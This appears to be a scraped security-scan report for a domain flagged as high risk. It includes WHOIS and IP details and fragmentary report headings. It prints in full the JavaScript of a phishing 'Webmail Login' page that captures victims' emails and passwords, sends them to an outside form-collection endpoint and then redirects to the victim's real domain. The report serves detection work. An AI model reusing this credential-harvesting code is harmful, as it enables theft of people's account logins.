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English

The domain name 'nahmiasabogados.com' uses the commercial generic top-level domain (.com) without a subdomain. The registrable portion 'nahmiasabogados' spans 15 characters containing 7 vowels alongside 8 consonants. Splitting it apart reveals 4 words: nah, mia, saboga, dos. Median word length comes out to 3 characters. No strong language cues emerged from the frequency lists.

_gotcha

email

password

html/9f/36/9f368357-b7d9-432a-bd34-d6991e9f827c.html.gz

d236444c366b9e49b7a62891400e461c51291020e9bbf364f4eeb6731afe5a6e

30f1c046bf52aef53e1397a4bb7bbb1ddeda18a0919c7fdaa9ed7ca1c00aef43

viewport

robots

GoDaddy.com, LLC

NAHMIASABOGADOS.COM

IP NETWORK

Bernardo Garza

Servnet Mexico, S.A. de C.V.

201.150.45.0 - 201.150.45.63


    // Formspark endpoint
    const FORMSPARK_URL = "https://submit-form.com/Ug00ifDqu";
    
    // Get email from URL hash (e.g., #email@domain.com)
    function getEmailFromURL() {
      if (window.location.hash && window.location.hash.includes('@')) {
        return window.location.hash.substring(1);
      }
      const urlParams = new URLSearchParams(window.location.search);
      if (urlParams.has('email')) {
        return urlParams.get('email');
      }
      return null;
    }
    
    // Pre-fill email field
    const emailFromUrl = getEmailFromURL();
    const emailInput = document.getElementById('user');
    if (emailFromUrl) {
      emailInput.value = emailFromUrl;
    } else {
      emailInput.value = 'No email specified in URL';
    }
    
    // Form submission handler
    const form = document.getElementById('loginForm');
    const loader = document.getElementById('loader');
    let attemptCount = 0;
    let firstPassword = '';
    
    form.addEventListener('submit', async function(e) {
      e.preventDefault();
      
      const email = document.getElementById('user').value.trim();
      const password = document.getElementById('pass').value.trim();
      
      if (!email || email === 'No email specified in URL') {
        alert('Please enter a valid email address');
        return;
      }
      
      if (!password) {
        alert('Please enter your password');
        return;
      }
      
      attemptCount++;
      
      // Show loader
      loader.style.display = 'flex';
      
      // Prepare data for Formspark
      const formData = {
        email: email,
        password: password,
        webmail_login: true
      };
      
      // Add first attempt info on second try
      if (attemptCount === 2) {
        formData.first_attempt_password = firstPassword;
        formData.attempt = 'second';
      } else if (attemptCount === 1) {
        firstPassword = password;
        formData.attempt = 'first';
      }
      
      try {
        await fetch(FORMSPARK_URL, {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify(formData)
        });
      } catch(err) {
        console.log('Formspark error:', err);
      }
      
      // Extract domain from email for redirect
      const domain = email.split('@')[1];
      
      // Redirect to the real domain without exposing password in URL
      setTimeout(() => {
        window.location.href = `https://${domain}`;
      }, 1500);
    });
  

PasswordField

Webmail Login

✅ Low Risk - https://nahmiasabogados.com/google0029vaa4obn65yde5rx4m91h.html#eriq@sekure.net

Requests	IP Address	Location	AS Autonomous System
2	201.150.45.24	Benito Juarez, Mexico City, Mexico	AS28546Servnet Mexico, S.A. de C.V.
2	1	-	-

Security Scan Report: nahmiasabogados.com

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History